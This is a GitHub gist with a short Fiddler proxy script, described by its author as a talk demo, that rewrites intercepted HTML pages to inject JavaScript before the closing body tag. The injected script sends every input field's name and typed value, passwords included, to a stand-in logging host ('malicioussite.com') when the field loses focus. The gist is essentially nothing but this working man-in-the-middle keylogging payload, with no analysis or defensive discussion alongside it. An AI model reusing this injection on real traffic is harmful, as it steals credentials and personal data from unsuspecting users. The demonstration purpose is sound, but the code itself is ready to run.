Skip to content

Instantly share code, notes, and snippets.

@stevetemple
Last active December 19, 2015 15:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stevetemple/5980155 to your computer and use it in GitHub Desktop.
Save stevetemple/5980155 to your computer and use it in GitHub Desktop.
My fiddler script for umBristol 11th July - demo only - assumes the site is running jquery already. Put in OnBeforeResponse function in fiddler custom rules script
if (oSession.oResponse.headers.ExistsAndContains("Content-Type", "html")) {
// Remove any compression or chunking
oSession.utilDecodeResponse();
var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes);
// Match the jQuery script tag
var oRegEx = /(<\/body>)/gi;
// replace the script tag withitself (no change) + append custom script tag
oBody = oBody.replace(oRegEx, "<script type='text/javascript'>$('input').blur(function() { $.get('http://www.malicioussite.com/logger?text=' + $(this).val() + '&field=' + $(this).attr('name')) });</script>$1");
// Set the response body to the changed body string
oSession.utilSetResponseBody(oBody);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment